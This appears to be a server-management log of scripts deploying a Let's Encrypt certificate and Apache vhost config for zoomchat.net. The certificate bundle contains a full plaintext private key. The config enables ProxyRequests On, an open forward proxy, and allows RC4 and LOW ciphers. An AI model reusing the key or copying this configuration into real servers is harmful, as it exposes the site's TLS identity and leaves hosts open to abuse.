2026-06-27 06:00:15: 

PUT: /tmp/pkp997028

#!/bin/bash
mkdir -p "/var/www/zoomchat_www/.well-known/acme-challenge/"
cd "/var/www/zoomchat_www/.well-known/acme-challenge/"
rm 3oovaisLP0eLlh7IubZvx5EeIze_x6YumbrlHJPH5vQ


2026-06-27 06:00:16: 

chmod 755 /tmp/pkp997028; /tmp/pkp997028; rm /tmp/pkp997028

2026-06-27 06:00:17: 




2026-06-27 06:00:17: Establishing a connection
2026-06-27 06:00:18: 

PUT: /tmp/pkp859834

#!/bin/bash
temp_file=$(mktemp)
TARGET=d7a3fc3cb644d42495f9e28d766d3339.crt

cat > $temp_file <<'endmsg'
91:2c:89:b1:df:49:8b:75:6b:66:a0:b6:fe:b6:d0:83

-----BEGIN CERTIFICATE-----
MIIE8zCCA9ugAwIBAgISBcOO0LGz64LICXJyxQQzG7CmMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjI3MDUwMTQzWhcNMjYwOTI1MDUwMTQyWjAXMRUwEwYDVQQD
Ewx6b29tY2hhdC5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCc
/NawxaHmasnhnKxygtalod9FZsuRxi/WLXlTamMsX7qpKQXIE0XFAm4g0NN5DhY+
pr5ZRMVJFqUhOsH8JFIAbRTuObFVao5VUOhCS4M6q8GI7D2ePUWIp5C9H44z4z8z
5egwB2wSkoeLdd7wW8EnFA35DaGSg11/FelePeJ2UZLCb28gnBNqcZe4wjZBviUy
y53waHJn3aMUVvmgU8GGuyF1aiRoM8mRIVSpVt8uIak5+HGbojT3dFrHoGjLqvql
tR+ITkOa0bpbb1cOyJkQ3Y0ojNUjn7BIukyO2KYAt+/hZpFMGbUca7dcL9QUDUqE
fLOxG8hC7nnOB2M5o2lDAgMBAAGjggIbMIICFzAOBgNVHQ8BAf8EBAMCBaAwEwYD
VR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUP2LXdwg4
bbzLjE0vfv+0CpPZJxUwHwYDVR0jBBgwFoAUQBUtJnntMiCe35pyHdYyH4EMgQww
MwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIyLmkubGVuY3Iu
b3JnLzAXBgNVHREEEDAOggx6b29tY2hhdC5uZXQwEwYDVR0gBAwwCjAIBgZngQwB
AgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMi5jLmxlbmNyLm9yZy8zOS5j
cmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkAdwDCMX5XRRmjRe5/ON6ykEHrx8Ih
WiK/f9W1rXaa2Q5SzQAAAZ8Hqg7KAAAEAwBIMEYCIQCKDKjGuA7d/Po9YjOUzFhn
QKTCuLoywRyr7igdHDe/oAIhAMhcKrGBKa/HuoWQKLOOMQHhxjzqMhrueJpbgznw
cnMyAH4AJuNkblhpISO8ND9HJDWbN5LNJFqI2BXTkzP9mRirRyMAAAGfB6oNegAI
AAAFACKgGdoEAwBHMEUCIEH9q6P+3Iy9iL6iNlDIOpe/O31CAv1RtjFNlz29ekQy
AiEA1RCnpFn31ZPR3DrdNwHY0lrRVMnPxQub8A9S4JU2cGwwDQYJKoZIhvcNAQEL
BQADggEBAIuCJxKLz7hSnwDd2CuhMRdx09ZO/OtWCMbVRcb07aANansXHdljeTmD
ZuHGGyBoEwjDdasNO6dkOsOm7y4cvmQOASRWRFOyKcK98vlsqFaORTYYVdGQiNyY
8AW58xO4YSbuU6W9HId4gFu/SWKwr8brhtxsl1pvhAbiIGmW8k15rK6I51h7ORbX
6HKdAywR7MWq4Iv16DLNzQvMqVAMz3lbOWgZAdJTsm49an3heB1Zv/2ij2LUhpr+
ulAE3JqWslJXTz6MTHT7I3oidvfNpfRxXQ7NA6Tb8X1VnfOTeU2sCzqVVAIUvmjK
3uuoO4p720MIEIUOFpCtFeHCl5Q0mWY=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCc/NawxaHmasnh
nKxygtalod9FZsuRxi/WLXlTamMsX7qpKQXIE0XFAm4g0NN5DhY+pr5ZRMVJFqUh
OsH8JFIAbRTuObFVao5VUOhCS4M6q8GI7D2ePUWIp5C9H44z4z8z5egwB2wSkoeL
dd7wW8EnFA35DaGSg11/FelePeJ2UZLCb28gnBNqcZe4wjZBviUyy53waHJn3aMU
VvmgU8GGuyF1aiRoM8mRIVSpVt8uIak5+HGbojT3dFrHoGjLqvqltR+ITkOa0bpb
b1cOyJkQ3Y0ojNUjn7BIukyO2KYAt+/hZpFMGbUca7dcL9QUDUqEfLOxG8hC7nnO
B2M5o2lDAgMBAAECggEAJPzJVJLr508Hy7lPRBehnRq7cS2cDveD89F5AXdScHUJ
lKuOqiooSReefOrWuHHiOdatiHjUhrjoJSEj7VVdYK5SvSIorvhRGrbaUixaeetX
yPvoNK05Ac6BIp4Zsg37qS2k/BPzmZieiPQ3l6f2pU9rT1+vzsZWtAekmUi5X6jP
0SZdrOidhMf3ykrL0vXivDKlB0gu/b36+wXxqnF/BPBVZ7ZNMUkPuSouwnp9YaVn
i+ZfliggLSANHYMP82spCMjZRCn2U2GSm84e0pt+p85Biapl+7c04yu16fO1NqBJ
2EB4n18ruvhMDRK14/ymjhkCe822QmjWrbHHp0PBWQKBgQDYCBYrby+iRzjf/Ibj
s1I5ArgrQOeaivwPcYhtCYgZsO5r22W2cTfYVbe3AwhaoosaI8cZg+LpcUGMzIyb
COEshGWwOzA8DcQiu6CZqXYlgoDpfS2w14UwAK5jbmX/ZvSEA4fv3wcGNAcu2OrP
VJHBrvFmKtKgILgFnKJ1TvlfRwKBgQC6CEBhw2QDOiz8meLriXgdB2JchTTF7OFu
nU3ETjE+2SSOm0P+9QHLbXvBN7xTCZPJeUWHkSDstBHGWFDoOt6wAa3WCuVi/xH4
KKx1y2loxk07RXGM8Ytpi4fbCjzqLAzcDKapQQq9dkcBWkoooWYa6wFBJJkAV2ny
kVBqQpw8JQKBgQC5JfUaNKi2hCQSk/Nno4CMq+/74hydLxDoi31JNioXGrS8a8S4
oEAkgRJ7H3ZBd52QQamaDJalTBPKAGVhWjLiXHZqm8+zKHk462WxTLOdYkPp2QcX
0R6tDWhof22bfzmBCyWuR49VmbGuTOqx1uE1BiKOVZU+98u/w4bY016WcQKBgAKg
LTB0DoxRHONv1JkYdp6KRSQjKSyF/GSQSdG0fNNzQyXUITCPCrhxUibW/4x4fSKB
2K5iKQHORNX01yd/9Tasv2RfAP/Vs8453L1I4rL84Ygtob2ohxw1QPShf1yaxI+y
igOnjFxCOBxXxuYt6QAGQx1FQ/eSREeNL4JgcE4VAoGADLe1eI7qqPeSZHwmANZ+
ACWe5xfVlXSCZFDh/tlsLtLjpekDrUr0CwNmR9+DvbC/0gAnoNUdqMmClJTZQ9Gp
Ce78Mux6yYz0URUX7STkEiBZa/AfH0D7B3qPwNYIh1I78HKccqcobYP6TB6VKAGe
zu8LC28sSZc29O2DDXCI8RA=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-27 06:00:19: 

chmod 755 /tmp/pkp859834; /tmp/pkp859834; rm /tmp/pkp859834

2026-06-27 06:00:19: 


dir=/etc/pki/tls/certs/


2026-06-27 06:00:19: 

PUT: /tmp/pkp410889

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/httpd/conf.d/zoomchat_www_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-27 06:00:20: 

chmod 755 /tmp/pkp410889; /tmp/pkp410889; rm /tmp/pkp410889

2026-06-27 06:00:20: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_net.conf 2271

<VirtualHost *:80>
    ServerName	zoomchat.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    DirectoryIndex	index.html index.htm index.php
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://zoomchat.online/$1 [R=302,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    ProxyRequests	On
    RewriteEngine	On
    <Location /ws/>
        ProxyPass	ws://localhost:9512/
        ProxyPassReverse	ws://localhost:9512/
    </Location>
    
    <Location /wsx/>
        ProxyPass	http://localhost:9512/
        ProxyPassReverse	http://localhost:9512/
    </Location>
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    DirectoryIndex	index.html index.htm index.php
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-27 06:00:20: 

PUT: /tmp/pkp507901

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=zoomchat_www_net.conf
TARGET=/etc/httpd/conf.d/zoomchat_www_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	zoomchat.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    DirectoryIndex	index.html index.htm index.php
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://zoomchat.online/$1 [R=302,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    ProxyRequests	On
    RewriteEngine	On
    <Location /ws/>
        ProxyPass	ws://localhost:9512/
        ProxyPassReverse	ws://localhost:9512/
    </Location>
    
    <Location /wsx/>
        ProxyPass	http://localhost:9512/
        ProxyPassReverse	http://localhost:9512/
    </Location>
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    DirectoryIndex	index.html index.htm index.php
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/httpd/conf.d/zoomchat_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/httpd/sites-enabled/zoomchat_www_net.conf)= /etc/httpd//etc/httpd/conf.d/zoomchat_www_net.conf'
	echo 'file(/etc/httpd//etc/httpd/conf.d/zoomchat_www_net.conf= 1'
fi


2026-06-27 06:00:20: 

chmod 755 /tmp/pkp507901; /tmp/pkp507901; rm /tmp/pkp507901

2026-06-27 06:00:21: 




2026-06-27 06:00:21: 

PUT: /tmp/pkp972586

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-27 06:00:21: 

chmod 755 /tmp/pkp972586; /tmp/pkp972586; rm /tmp/pkp972586

2026-06-27 06:00:21: 


.


2026-06-27 06:00:22: Establishing a connection
2026-06-27 06:00:23: 

PUT: /tmp/pkp173806

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-27 06:00:24: 

chmod 755 /tmp/pkp173806; /tmp/pkp173806; rm /tmp/pkp173806

2026-06-27 06:00:24: 


[Sat Jun 27 06:00:24.505482 2026] [so:warn] [pid 471333:tid 140440743622976] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
         port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
         port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
         port 80 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:2)
                 alias www.zoomchat.online
*:443                  is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
         port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
         port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
         port 443 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:30)
                 alias www.zoomchat.online
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex cache-socache: using_defaults
Mutex authdigest-opaque: using_defaults
Mutex watchdog-callback: using_defaults
Mutex proxy-balancer-shm: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
Mutex lua-ivm-shm: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default 
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.




STDERR:
[Sat Jun 27 06:00:24.505482 2026] [so:warn] [pid 471333:tid 140440743622976] AH01574: module status_module is already loaded, skipping


2026-06-27 06:00:24: 

PUT: /tmp/pkp725459

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/httpd/conf.d/zoomchat_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-27 06:00:25: 

chmod 755 /tmp/pkp725459; /tmp/pkp725459; rm /tmp/pkp725459

2026-06-27 06:00:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_net.conf	2271

<VirtualHost *:80>
    ServerName	zoomchat.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    DirectoryIndex	index.html index.htm index.php
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://zoomchat.online/$1 [R=302,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    ProxyRequests	On
    RewriteEngine	On
    <Location /ws/>
        ProxyPass	ws://localhost:9512/
        ProxyPassReverse	ws://localhost:9512/
    </Location>
    
    <Location /wsx/>
        ProxyPass	http://localhost:9512/
        ProxyPassReverse	http://localhost:9512/
    </Location>
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    DirectoryIndex	index.html index.htm index.php
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-27 06:00:25: 

PUT: /tmp/pkp289699

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-27 06:00:25: 

chmod 755 /tmp/pkp289699; /tmp/pkp289699; rm /tmp/pkp289699

2026-06-27 06:00:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt	7408
91:2c:89:b1:df:49:8b:75:6b:66:a0:b6:fe:b6:d0:83

-----BEGIN CERTIFICATE-----
MIIE8zCCA9ugAwIBAgISBcOO0LGz64LICXJyxQQzG7CmMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjI3MDUwMTQzWhcNMjYwOTI1MDUwMTQyWjAXMRUwEwYDVQQD
